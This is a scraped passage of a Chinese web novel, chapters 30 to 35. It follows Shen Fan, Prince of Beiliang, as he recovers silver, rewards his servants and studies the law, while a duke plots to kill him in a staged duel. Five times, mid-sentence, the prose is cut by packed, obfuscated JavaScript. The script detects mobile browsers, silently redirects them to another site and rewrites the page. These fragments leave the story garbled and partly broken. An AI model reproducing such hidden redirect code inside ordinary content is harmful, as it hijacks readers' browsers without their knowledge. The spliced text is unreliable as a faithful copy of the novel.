水仙挠了挠头皮道:“有这么闹着玩儿的么?” “不该打听的少打听,我问你,郑天泽给的银票都是哪家银号的。”沈凡道。 水仙回道:“奴婢看过了,都是郑家宝丰昌的银票。” “郑家宝丰昌,什么意思?”沈凡意识到了什么又问。 水仙道:“您是不知道,郑家在京城有七八家银号,这些银号都叫宝丰昌,给我们的银票都是他们家的。” 沈凡当即道:“取出来,取现银,都取出来!” 水仙笑着道:“奴婢也是这个意思,这样放心,只是刚才您一直和公主在一起,不敢做主。” 沈凡点点头道:“你身上有伤,就让他们去取吧。” “不行。”水仙果断拒绝道“奴婢身上的伤不重,再说见了银票又好了些,等见到真银应该就好差不多了。” 这话引得倪福几人一阵大笑。 倪福道:“王爷,您就让她去吧,这一路她一直捂着袖子里的银票,我们看一眼都跟我们瞪眼珠子。” “我那是怕被你们看化了!”水仙反驳道,小手捂着袖口更紧了。 沈凡见水仙的精气神真的很足,笑道:“也好,这样……周泰身上有伤,让他陪着我回府,倪伯、徐盛、丁奉、韩当都跟着水仙去取银子。” “放心吧王爷,我们雇几辆大车,很快就回来的。”水仙道。 “等等。”沈凡叫住要走的水仙:“回来的时候多买些鱼肉,今天是个好日子,给府里的所有人打牙祭。” 水仙嘻嘻笑道:“明白,全王府同庆!” 言罢就带着倪福几人骑马而去,沈凡也在周泰的陪同下回返王府。 …… 另一边,回公主府的路上,看着脸色依旧发白的丹阳公主,高凤咬着牙道: “殿下若要是解气,奴婢这就带人去揍北凉王一顿,罪名奴婢都想好了,顶撞公主殿下,言语多有不敬。” 丹阳公主下意识就要答应,可嘴里说的话却是:“没必要,你下去吧。” 高凤追问道:“真不需要吗?” “我让你下车,本宫一个人要静一静。” 高凤看了眼主子,眼神里满是诧异。 跟着殿下近十年了,还从没见过有人敢这么气她,也从没见过她在如此气恼下不予责罚,怪哉? 高凤下车后,丹阳公主独自坐在车里生闷气,凭着女人独有的思维模式,不断回想着沈凡和自己的对话。 当回想到沈凡说‘论腿脚,安国公一定跑不过他’的时候。 不知为何,脑海中现出了老迈的安国公举着大铁锤,就是追不上狂跑沈凡的情景,“噗嗤’笑了出来。 转瞬间,那股憋在胸中的闷气也随这一笑烟消云散。 丹阳公主一惊,明明自己很生气的,怎么会这样? 她握住小拳,咬牙切齿开始运气,试图找回刚才生气的感觉。 可牙都咬疼了,脑海里出现是皆是沈凡嬉笑怒骂,威慑郑天泽的身影,生气的感觉在也找不回来了。 “沈凡,你真是气死本宫了!” 丹阳公主抓起桌子上的果脯狠咬了下去,仿佛在咬沈凡的肉。 嗯,还挺好吃! 丹阳公主又拿起了一颗…… …… 沈凡一回到王府,就张罗仆人给周泰请郎中,却被周泰拒绝了。 用他的话说,自己皮糙肉厚,受的又都是皮外伤,回房涂些刀伤药,包扎一下就没事了。 沈凡对周泰这种彪悍的作风很欣赏,就随他去了,自己则去往书房。 这间坐落在内宅的书房是父王曾用过的,自从继承了王爵后,沈凡就把自己原来的小书房弃之不用,搬到了这间大书房。 一进入门,给沈凡的第一个印象就是干净。 这种干净并非是桌上无尘,地上无土的干净,而是从各个角落,从里向外透着的干净。 有两个侍女拿着抹布在擦拭桌案,愣把黑色的书案擦出了幽光。 听到脚步声后,两个侍女才发现沈凡进来,她们非常懂规矩地施了个礼,然后垂手立在桌案旁。 看着这两个侍女,沈凡想起了什么,问道:“听水仙说,你们在宫里的时候在御书房听差?” 其中一个年龄较大的侍女回道“是的王爷,我们两个在宫中书库负责打扫,所以水仙姑姑就把我们派到这里整理您的书房。” 沈凡楞了下问道“姑姑?水仙什么时候成姑姑了?” 侍女道:“我们原来都叫水总管,她不喜,说把人都叫老了,我们合计叫姑娘又太失礼,就管她叫姑姑。” 沈凡哑然失笑道:“她同意了?” 侍女道:“同意,还说这个称呼好,听上去既有脸面又不老。” “这个水仙呐!”沈凡笑着坐在书桌后,看向两个侍女问道:“怎么样,水仙待你们好不好?” 问这话倒不是沈凡不相信水仙,是他从小就听母亲说过,当主子要多关心下人,不能只听管家一面之词。 这叫偏听则暗,兼听则明。 两个侍女对视一眼,还是那个年龄较大侍女回道:“禀王爷,水仙姑姑虽然对我们严厉了些,但待我们却非常好。 比如说昨日有个奴婢不慎打了一摞子碗,被水仙姑姑抽了一鞭子以示警戒。 可到晚上水仙姑姑就亲自拿着药膏给她疗伤,让我们这些当仆奴的心里暖着呢!” 听到水仙对下人赏罚有度,打一巴掌给个甜枣的事,沈凡满意地点点头,这丫头是得了自己的真传。 第三十一章:幸福的两位侍女 为了更多了解下人们的状况,沈凡看向两个侍女又问:“在府里吃的住的可好?” 年长些的侍女回道:“奴婢们吃的住的都好,这些日都胖了。” 沈凡看着她们依然瘦弱的身体笑道:“你们来府上这才几天,哪能这么快就吃胖了。” “奴婢是胖了。”另一个年纪稍小的侍女见小王爷如此和蔼,抢话道:“早上奴婢特意上秤了,比来的时候整整胖了五斤。” “哈哈哈……”沈凡笑得更厉害了,说道:“我看你们也还是瘦,还要多吃,每人至少要多长二十斤才好。” 两个侍女对视一眼也都笑了,心中升起一股暖流直冲头顶,感觉有点儿晕。 沈凡又和她们说了说如何保养书籍,比如要注意防尘,定期翻检,每隔一个月找好天晒书等等…… 两个侍女听得非常仔细。 她们知道自王爷搬回王府后,家当带得最多的就是书,且对书十分珍惜,每次阅读后都会规规整整放回原处。 说的如何保养书籍的事她们虽然也都知道,但令她们感到诧异的是,这位小王爷竟也懂这些? 那个年龄稍小的侍女忍不住感叹道:“王爷如此爱书,可是比当今太子要强多了。” 沈凡有些诧异的道:“怎么,当今太子不爱书?” 侍女道:“太子不但不爱书,还不爱读书,每次读书后都将书扔的哪里都是,有些书还被他故意撕坏。 害得我们这些当奴婢的常常受责罚,又不敢说是太子弄的。” “是吗。”沈凡应了声。 敏锐的意识到,这个不喜欢读书,不爱护书籍的太子格局应该不大。 正这时,就见年长些的侍女忽然轻声呵斥道:“彩霞,你忘了宫里的规矩了,怎能跟王爷说这些,不要命了!” 那个叫彩霞的侍女脸色一变,忙跪在沈凡身前道:“王爷恕罪,是奴婢一时忘形说了宫里的事,坏了规矩,还请王爷责罚。” 沈凡明白了,这些宫女在出宫前是有规矩的,不能随便议论宫里的事。 对着那个叫彩霞的侍女摆摆手道:“快起来,在我这里说没什么。我不说谁又能知道? 不过以后对其他人不能乱讲,免得招来不必要的祸端。” 彩霞起身道:“奴婢明白了。” 沈凡看向那个年长的侍女问:“,你叫什么名字?” “奴婢叫彩云。”年长些的侍女回道。 沈凡道:“我对皇家的事还是很感兴趣的,不知道你们能不能说?” 彩云回道:“既然王爷刚才都说了,奴婢自然有什么就说什么,不过我和彩霞都是宫里打杂的,对皇族的事不大了解。” “什么意思?”沈凡问。 彩云:“按宫里的规矩,伺候皇族的宫女和太监是不允许出宫的,就算老了,主子们不喜了,也会安排在宫里做其它差事。 只有像我和彩霞这样低等的宫人,才有机会被放出宫。” 沈凡道:“明白了,我也不会问别的,就是想问问既然你们曾负责书库,可否知道皇后喜欢读书不?” 沈凡问这话是有目的。 王灵瑶已经成了皇后的义女,为了自己的安全计,他想多了解一些这位皇后。 指着那个动不动就要压自己一头的丹阳公主是不行的,严重不稳! 彩云想了想道:“这个奴婢能说,虽然奴婢一年到头见不到皇后一面,不过她却不怎么爱看书,就是看也是喜欢翻些画册。” 沈凡又问:“皇后的脾气如何,有何喜好?” 彩云看向彩霞道:“你服侍过两次皇后,你知道么?” 彩霞回忆着道:“皇后喜欢享受,为人有些霸道,不过极少发脾气,奴婢这些也是听说的,不一定准。” 皇后不爱读书,喜欢看画册,贪图享乐,刚愎自用,这种人的城府应该不太深,但也不能得罪…… 沈凡得出了一个初步判断又问:“你们谁知道皇上都喜欢读什么书?” “这个奴婢知道。”彩云道:“皇上以前喜欢看佛经,现在更喜欢看道家经典,特别对长生之术很痴迷。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315738|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦!”沈凡眨了眨眼,这事他从来没听说过。 “好了,你们去忙吧,以后书房的事还要多费心。”沈凡道了句。 为了表示对彩云和彩霞的重视,还亲自把她们送到书房外。 彩云和彩霞哪受过这般礼遇,兴奋得脸色通红。 三人出门时,恰好被外面两个打扫的男仆看到。 就见彩云和彩霞簇拥着小王爷从书房走出来,两人的脸色潮红。 两个男仆瞬间想到了什么,又马上低下头继续打扫,就当什么都没看到。 送走彩云和彩霞后,沈凡回到书房,取出丹阳公主给的那份宗卷看起来。 别看自己顶了她,可该办的差还是要办好,毕竟这小娘们儿对自己还是不错的。 关于抚恤的事,宗卷介绍的很细。 朝廷对突厥之战中,京城籍的将士共阵亡一百二十人,受伤五百七十三人。 受伤那些人的抚恤金是按月发放,由那些人每月去与户部领取。 这个差事好办,沈凡只需对对账即可。 阵亡一百二十名将士的抚恤金,则需要登门给他们发放。 关于人员的任用写得也很清楚,兵部派了四十人,每两人为一队,分成二十个小队分别进行办理。 这四十人的头目,是两个七品兵部主事,分别叫刘利和马卫,在发放抚恤金期间他们听命于自己。 沈凡把宗卷放在桌案上,看了看里面夹着的一张盖有户部印章,全权授权自己办理此事的手令,心中暗道。 既然皇上已经杀了一批贪赃枉法之徒,谅兵部这些人也不敢再做违法之事。 这个差事应该很好办,明日自己就去兵部安排一切,估计最多三五日就可完成。 正想着时,忽听书房外传来一阵脚步声,脚步声急促又沉重,一听就是个强壮的男子。 沈凡听声辨位的功夫练得不错,从脚步声就已经听出来了,来人应该是徐盛。 门外传来了徐盛宏亮的嗓音:“王爷,我们把银子都拉回来了,您看看去不?” 第三十二章:赏 银子拉回来了! 沈凡立刻推门而出问道:“在哪?” 徐盛回道:“都放在了前厅。” “快走,快走。”沈凡招呼了声,快步向前厅而去。 刚一进前厅大院,就见厅门前挤满了仆人,都抻脖翘脚往里看。 “都围在这里干什么,还不闪开,王爷来了。” 徐盛吼了一嗓子,仿若一颗石子扔进鸭群,仆人们“呼啦”一下闪到了两旁。 沈凡面带笑容走进前厅,就见地上放着几十口木箱,把偌大的前厅都铺满了。 水仙、倪福、丁奉、韩当、周泰都在,见沈凡在徐盛的陪同下进来,齐声施礼道:“拜见王爷。” 沈凡摆摆手,看向水仙道:“都取来了?” 水仙笑盈盈的道:“取来了,一共二十五口木箱,每口装银两千两,五万两一两都不少,请王爷验看。” “都打开。”随着沈凡道了句,一口口木箱被打开。 每打开一口,沈凡都不禁眯一下眼,因为这些银锭在阳光的照耀下,皆向外散发着耀眼的银光。 与此同时,随着一口口箱子被打开,厅堂外的那些仆人都不由一次次发出轻呼。 要知道,这年头二十两银子就够一家三口吃上一年。 他们平日见到的钱也多是铜钱,就算见到银子也是碎银,十两一个的大银锭是很多人在梦里才会见到的。 如今在眼前一下就出现了五万两之巨,如何不让他们惊愕,如何不让他们动心。 当然,别的想法他们也不敢有。 这可是北凉王的银子,打它们的主意几个脑袋都不够砍的。 片刻间,所有的箱子都已经被打开,置身其中的沈凡感觉就像置身在银海里,嘴角剧烈抽动了两下。 他倒不是被惊到了,而是感到一阵深深的自责,觉得对不起死去的父母,因为这些银子本就是自己家的。 为了王灵瑶,自己这个败家子把家里的房子、地、店铺、牲口、再加上祖上传下来的财宝都给卖了。 不值不值,当真不值! 沈凡自我反省后,在每一口箱子面前走过,渐渐发现了一个问题。 弯腰拿起一锭白中泛黑的银锭,看向水仙道:“这些银子的成色怎么有新有旧?” 水仙抹了把头上的汗,满脸邀功的神情道:“王爷您不知道,为了这些银子,我们可是把宝丰昌给折腾坏了。” “什么意思?”沈凡问。 水仙道:“您以前去钱庄取的都是银票,不知道取现银的难处,特别是这么多现银。 我们去的是宝丰昌总号,就他们也只能拿出不到两万两,掌柜的说能不能容两天,我当时就不干了。 告诉掌柜的,这可是你们家少主子郑天泽,当着丹阳公主和您的面许诺把银子还上的,如果今天不兑现,就是欺骗公主殿下,欺骗王爷您。 这一招真好用,掌柜的吓坏了,将伙计都散了出去,把郑家其它几家钱庄的银子都搬了过来,这才把五万两现银凑齐。 正是这个缘故,他们的银子才有新有旧,不过您放心,成色都还不错。” “哈哈哈……”沈凡笑道:“你还真有办法,竟用上了扯虎皮拉大旗,不过你做的非常对,免得夜长梦多。” “王爷过奖。”水仙笑道:“倪伯他们也做了很多,开始时那个掌柜见奴婢是个女流,想仗着安国府的权势拖延。 是倪伯用刀架在了那个掌柜的脖子上,徐盛、丁奉、韩当把钱庄里的客人都赶跑了,闹出的声势不得不让那个掌柜的害怕。” 沈凡目光扫过倪福几人笑道:“这次你们跟着本王去王家要银子,水仙、韩当、周泰更是因此受了伤,可以说都立了功,本王要赏你们。” 倪福、徐盛、丁奉、韩当和周泰互相对视一眼,随后都摆手纷纷说不用不用,这些都是我们做为护院该做的。 水仙更将小手摆得像刚被钓上来,扔在岸上摆动的鱼道:“王爷不可,一来这些银子本来就是王府的财产,不是外财。 二来王府需要花钱的地方多着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315739|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,奴婢还想给您置些奴仆、田产、耕畜和农具,买几间店铺出租。 还有盖猪圈、鸭圈、鸡圈,屋里的家具、马匹、车辆、粮草都应该该该……” 水仙喋喋不休的话突然停住,因为沈凡将四锭十两一个的银子堆进了自己的怀里。 “王爷,这,这。” “这什么这。”沈凡道:“我知道王府用银子的地方多,可父王和母后跟我说过要奖罚分明,这四十两银子是给你的,收下!” 听到沈凡命令的口吻,水仙哭了,深施一礼哽咽着道:“奴婢谢王爷……” 然后就转过了身,等她再转回来时,怀里的四锭银子已然不见了。 沈凡用惊讶的目光上下打量了一番,愣是没找到这丫头把那么一堆银子藏哪了? 沈凡从木箱里又拿出几锭银子,分别给了倪福几人道:“韩当、周泰受了伤,每人三十两,倪伯、徐盛、丁奉每人二十两,都收下吧。” “谢王爷。” 有水仙在先,倪福几人知道不能再推辞了,欢喜地接过银子。 这让人血脉偾张的一幕,皆被门口的那些仆人看在眼里。 俗话说财帛动人心,虽然他们都见过些世面,但见过不代表着拥有。 沈凡一出手就是几十两的送,如何不让人心动,一个个眼睛直勾勾看着倪福等人手里的银锭,发出一阵阵感叹。 听到身后的议论,沈凡看向这些仆人朗盛道:“尔等都听着,你们都看到了本王的举动,以后凡效力者、忠心者皆有不等的赏赐。” 言罢有看向水仙道:“记着多备些铜钱,再买些首饰之类的物件。 从今天起你立个规矩,凡有干的好的,按功劳可给予不同的赏赐。凡有立大功者直接报我,本王再给予重赏。” 水仙回道:“奴婢明白。” “多谢王爷……”门口的众仆人见状纷纷对沈凡施礼。 这时他们看向厅里的那些白花花的银子时,眼中几分坦然,因为可以光明正大的赚这些钱了。 第三十三章:三**宝 看到这些仆人跃跃欲试的神情,沈凡很满意,问水仙:“肉都买了吗?” “买了。”水仙笑着回道:“奴婢这次可是下了血本,买了羊肉,十条大鲤鱼,十斤干菜,还有五大坛米酒。” 一旁的倪福接话道:“王爷,水仙姑姑说的没错,为了把王爷的吩咐落到实处,她可是一下子买了四扇羊肉,加一起五十多斤呢!” 沈凡看向倪福笑问:“怎么,你也管水仙叫姑姑了?” 倪福脸上的皱纹都挤到了一处,笑盈盈的道:“大伙都这么叫,小人自然也要随俗,况且水仙是您的大总管,叫名字也是对您不敬,显得咱们王府没规矩。” 水仙见状却道:“王爷,这事奴婢还没来得及跟您说,您要是觉着不合适就改了。” 沈凡噙着嘴角道:“我觉得挺好,水仙姑姑去掉头尾两字,等于咱们王府就有了个仙姑了。” 此言一出,引得众人也都笑了。 这时沈凡想起了什么,对倪福道:“现在有银子了,要抓紧招募护卫,由你先初选,然后本王再面试。” “小人明白。”倪福道。 另一边,水仙来到那些仆人面前高声道:“今日王府有喜事,王爷买的这些鱼肉就是要给大家开荤的,都听我吩咐,开始忙起来。” 众仆人没想到那些肉竟也有他们的份,欢呼一声去厨房忙活去了,一个个眼中冒光,脚步轻盈。 沈凡则安排水仙、倪福他们把银子收好。 王府后院有个地窖,位置非常隐秘,还设有两道铁门,原本就是收藏金银细软的地方,钥匙只有沈凡和水仙有。 安排完后,沈凡又到回书房,在书架上一阵翻找,找出来七本书,往案头上一摞开始翻阅起来。 沈凡读的书名为《大夏律》,共分七卷,包括名律、吏律、户律、礼律、兵律、刑律和工律。。 在阅读的同时,沈凡还用笔在上面圈圈点点,将重要的条款誊抄在纸上。 之所以如此认真学大夏律,是他想起了父王生前跟自己说过的一些话。 如你有入朝为官的一日,就一定要掌握三**宝,既爱民之心,无欲则刚,还有就是要把大夏律烂熟于心。 爱民之心可让你不畏生死,不畏权势,无欲则刚可让你富贵不侵,贫贱不移。 对律法烂熟于心,则在办事时可有理可依,有法可依,立足于波谲云诡、深不见底的官场。 每每回想,父王的这些话就仿佛回荡在耳边,回荡在这间书房里。 虽说这套《大夏律》从小就读过,但明日自己就要正式踏入官场,所以决定温读一遍。 时间不知不觉过去,日头偏西的时候,水仙轻手轻脚走进书房,点亮了案头上的纱灯道: “王爷,外面已经开席了,按规矩您是不能和仆人们一起吃,奴婢是请您到饭厅用膳的。” 还在摘抄要点的沈凡头也不抬的道:“等一下,这篇刑律还有几页就看完了。” “嗯。” 水仙应了声,坐在旁边的椅子上,从怀里取出包瓜子,像松鼠一样“咔嚓咔嚓”嗑着。 这一幕场景沈凡很熟悉,租住在民宅的岁月里,每每自己读书时水仙就这样陪着,感觉很踏实。 过了一阵,沈凡放下笔道:“好了,我们吃饭去,不过吃饭前我要去看看他们。” “好的。”水仙从椅子里跳起来,将瓜子皮收在手帕里,跟着沈凡出了书房。 主仆二人来到饭堂,见到这里人声鼎沸,桌子上放了几个大木盆,里面盛着羊肉炖鱼,放着一坛坛米酒。颇有土匪窝里大块肉大碗酒的意思。 仆人们包括那些女仆一个个都在闷头紧吃,就差把脑袋插到盆里了。 人群中,沈凡看到了彩云和彩霞。 这两个女人很聪明,把自己碗里装满了肉不吃,然后夹锅里的肉往嘴里紧塞。 两人只是偶尔从抬眼看眼对方,眉眼里带着幸福满足的笑意。 众人吃得热火朝天,连沈凡到来都没有察觉,直到把盆里的肉吃完后,有人这才发现沈凡来了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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别看只是个管家,却是随着爷爷征战过的远房长辈,地位不低,轻易不会在门口迎接自己,他的出现应该是出了什么事? 第三十四章:安国公郑建山 “郑管家,您怎么在这?”郑天泽问道。 “我说少爷,您是不是闯祸了?”A郑管家反问道。 “什么意思?” “还什么意思,今天您是不是从银号里取走了五万两现银?” “啊!”郑天泽沉吟了下道:“有这事,这有什么?” “国公爷知道了,正为这事发火呢,让我在这等您,一回来就让您过去。” “我爷爷怎么知道的?” “我的小祖宗,您拿这五万两现银可是惊动了咱家所有银号,这么大的事国公爷怎能不知,您拿这么多银子干什么了?” “原来是这回事。”郑天泽嘀咕了句。 他当初说替王灵瑶还银子只是做做样子,就算带着五万两银票也是给王灵瑶看的。 想着今天用权势把沈凡压回去,不然也不会打他的手下。 没想到沈凡来了这一手,还把丹阳公主拉来帮忙,无奈之下自己只好把银票给了。 整整五万两现银,论斤也有五千斤,别说是财大气粗的爷爷,换皇帝估计都会心疼。 想到脾气不好的爷爷,郑天泽有些害怕了,可转念想到爷爷的谋划, 忐忑的心又安稳下来,问道:“爷爷在什么地方?” 郑管家回道:“他老人家在内堂。” 郑天泽点点头,迈步向内堂走去。 “我说少爷,您到是跟老奴说说拿这么多银子做什么了,不是又赌输了……你倒是说话呀,有什么事老奴也好替您兜着些。”跟着郑天哲的郑管家焦急的道。 郑天泽笑了笑道:“放心吧,我没赌,这事您就甭管了,我跟爷爷解释。” 郑天泽走进内堂,就见爷爷在几名侍女的服侍下正在喝酒。 若在以往,爷爷这里定是歌舞升平,今日却是不同,厅堂里空空荡荡,明显是在喝闷酒。 听到脚步声的郑群山抬起头,见是郑天泽,“咣”一下把手里的酒爵蹲在桌案上。 因为用力过猛,满头白发都随之一抖,哑着嗓子道:“孙子,你拿五万两银子干什么去了,是不是又去赌了?” 郑天泽不慌不忙给爷爷磕了个头,然后才道:“爷,你把孙子想成什么人了,孙子不是答应过您戒赌了吗? 这五万两银子,孙子是替人还债了。” “还债,替谁还的债?”郑建山眼睛一立道:“整整五万两银子,你特么还不如赌了呢!” 听到这话,郑天泽差点没笑出来。 他就喜欢爷爷这行武的性子,宁可赌了也不能便宜别人。 “爷爷您别急嘛,听我说,这银子我是替王灵瑶还的债。”郑天泽站起身道。 王灵瑶……听到这个名字,郑建山愣了下道:“说说是怎么回事?” 郑天泽就将白天发生的事讲了出来。 郑建山听后勃然大怒,拍着桌子骂道:“你好糊涂,沈凡只是个黄口小儿,他爹沈克用都**两年多了,你怕他干什么?” 郑天泽道:“爷爷,当时丹阳公主就在旁边,王灵瑶也不敢赖账。” 郑建山又拍了下桌子道:“就那个黄毛丫头你怕她干什么?” 郑天泽嘴一撇道:“当时孙儿被丹阳公主的侍卫用几十把**指着。” “什么,这丫头变得这么狂了么?”郑建山有些惊讶的道。 在他的印象里,丹阳公主赵玉婉就是个小屁孩,皇家里除了当今皇帝他谁都不怵。 想到这叫道:“你不还有爷爷我吗,为何不派人叫我,那可是五万两银子啊!” “爷爷您别急嘛,孙子还有事和您说。”郑天泽说道,随后就不说话了,而是往左右看了看。 郑建山对着周围的几个侍女一挥手,说道:“都下去。” 见几名侍女弯腰退出了前厅,郑天泽走到爷爷身边,给他倒了杯酒道: “爷爷,我要告诉您个好消息,今**后的懿旨下了,正式收王灵瑶为义女。” 郑建山看向孙子,老脸上渐渐露出笑意道:“我明白了,你这是为了王凌瑶的名声,如此说这五万两银子花的值。” “爷爷圣明。”郑天泽应了句,随即现出痛苦的神情道:“可是爷爷,孙子这心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315741|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里难受啊! 若是这五万两银子花在王灵瑶身上也就罢了,毕竟按您所说,我们以后可以利用她扩大势力。 可孙子一想到这些银子便宜了沈凡那小子,心里就不痛快。 而且,而且沈凡今天还打了孙子,您看看,你看看我这肚子上现在还有伤呢!” 说到这时,郑天泽解开了衣袍。 看着孙子胸腹间那一大片淤青,郑建山眼睛瞪得溜圆,瞳孔却收得像针尖,大叫道: “王八犊子,竟敢把我孙子打成这样,老子要杀了他!” 见自己的算计见了效,郑天泽一把鼻涕一把泪的道:“爷爷,您一定要杀了他,还要把咱家的银子拿回来。” 郑建山阴笑两声道:“放心吧,过两日爷爷就把他叫到府上来,你看爷爷怎么亲手弄死他。” 听到这话郑天泽却是愣住了,忙道:“爷爷您都多大岁数了?” 看到孙子怀疑的眼神,郑建山干笑一声道:“孙子,那你是不知道你爷爷的厉害。” 话音落下间,就听“嘎吱吱”一阵声响,竟将手中那支青铜打造的酒爵捏成一团。 看得郑天泽不由呆了。 他知道爷爷是大夏朝第一武士,天生神力。 可爷爷已经九十了,近十年也没展示过武功,今日一见爷爷依然宝刀未老,就冲这徒手捏扁青铜尊的本事,放眼天下也难找出第二个。 唯一可惜的就是,这份天生神力没传给后代子孙,不然自己也不至于打不过沈凡。 “爷爷威武!”郑天泽赞道,可马上又想到了什么道:“只是这么做有些不妥吧,毕竟他是个王爷,孙子的意思是派刺客。” “那能解恨么?”郑建山道:“再说了,他这个继承来的王爷在爷爷眼里就是个屁!” 郑天泽:“那,那如果皇上问下来怎么办?” 郑建山呵呵一笑道:“你还是太年轻,沈凡不是武艺不错嘛,爷爷会以切磋武艺的名义请他来。 到时把贤王也请来喝酒,在比武时失手弄死他,然后再图那五万两银子,明白了吗?” 第三十五章:实力加阳谋 郑天泽知道这位爷爷说的贤王。 名赵华,是当今皇帝的亲弟弟,是个吃喝玩乐闲散王爷。 “爷爷真是高明。”郑天泽笑道:“孙儿明白了,虽说贤王没有实权,可做个见证人还是绰绰有余的, 就算您失手打**沈凡,有了贤王做证,大不了再废上一张丹书铁劵就是。” 郑建山摸着孙子的头道:“记住,杀北凉王这都是小事,你一定要把王灵瑶紧紧握在手里。 此女得了皇帝和太子的赏识,如今又得了皇后的赏识,皇后又是太子的生母,她日后的前途不可限量。 皇上现正在削弱勋贵的势力,从你的几个叔父得不到重用就可以看出来。 爷爷老了,皇上对爷爷只是表面恭敬,所以咱们家以后就指着你了!” 郑天泽道:“孙子明白了,孙子想等过了年就向王家提亲。 到时咱们家有爷爷您罩着,加上被皇上、太子和皇后赏识的王灵瑶,郑家一定会像爷爷您说的那样越来越昌盛。” “哈哈哈……深得我意!”郑建山欣慰的笑了,又道:“你也不可懈怠,如今朝廷重文轻武,过了年就是科考。 你一定要给爷爷考个头三甲出来,有王灵瑶这层关系皇家定会重用你,到时爷爷就是**也瞑目了。” 听到这话,郑天泽的身子却是往后一缩。 想当初王灵瑶在战场上崭露头角时,爷爷就来信告诉自己。 此女深得皇后、皇上和太子的重视,以后前途不可限量,让自己无论如何要把她勾引到手。 这对自己这个情场老手说不难,可让自己考个前三甲就强人所难了。 想到这,郑天泽面露为难的道:“爷爷您也知道,孙子书读得一般,考个功名还勉强,可要中这前三甲……” “瞧你那没出息的样!”郑建山打断了孙子的话道:“从今天开始,你就给我好好读书。” 郑天泽:“爷爷您是武将出身,读的书少,您是不知道,读书这东西可不是临时抱佛脚就能成的。 再说天下学子那么多,进头三甲无异于千军万马过独木桥。” “呵呵呵……”郑建山咧着嘴笑道:“这些事你不必操心,到时爷爷会把考题给你弄来。” “嘶……”郑天泽倒吸了口凉气,惊愕的看向爷爷道:“您、您能弄到考题?” 郑建山压低了声音道:“孙子,你别忘了爷爷可是三朝元老,苦心经营了几十年。” “多谢爷爷成全。”郑天泽起身跪在郑建山身前道。 郑建山摆摆手:“去去去,读书去,就算中了三甲,肚子里的墨水也是越多越好。 过几日找沈凡的时候,自会告诉你。” 郑天泽道:“爷爷,我想带着王灵瑶行么?” 郑建山道:“好主意,看看爷爷是怎么给她弟弟报仇的,也让她更感激你。” 郑天泽笑道:“谢爷爷,孙儿告退。” 见孙子高高兴兴走了,郑建山抬起手凌空击了几下掌,外面就走进来几名侍女。 郑建山盯着她们道:“怎么就这几个,再叫十个来,老夫今天要喝个痛快! …… 清晨,北凉王府花园里,淡红色的太阳仿佛刚出门的新媳妇,羞答答照在黄绿色的竹叶上。 伴着一阵拳风的袭来,竹叶震动,将上面的露珠抖落而下,与沈凡脸上的汗珠一齐落在地上。 沈凡已经练了半个时辰的拳了,虽说打得是套路,可每招每式都十分到位。 快时如闪电,稳时如磐石,忽快忽慢间宛如行云流水,大开大合间有又如云卷云舒。 打完最后一式,沈凡双腿微曲扎着马步,双拳化掌,缓缓自胸口落下,口中吐出一口绵长气息, “**……**……”旁边传来一阵掌声。 鼓完掌的水仙递来一条毛巾道:“王爷快擦擦汗,您看您的衣服都湿透了。” 沈凡含笑接过,擦拭着脸颊上的汗水,几下毛巾就湿了,在冬日的寒风中腾起丝丝白气。 “王爷,奴婢看您这套拳打得已经非常好了,何必还天天练呢?”水仙又给沈凡换了条干毛巾道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315742|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你不懂。”沈凡道:“父王生前常说这叫熟能生巧,一个招式重复万次就会变为本能,对战时方可由心而发。” 水仙心疼的道:“您昨晚读书读到半夜,早上又起来这么早打拳,奴婢是怕您太辛苦了。” “人只有享不了的福,没有受不了的苦。”沈凡感慨了句问:“洗澡水和早饭都准备好了吗? 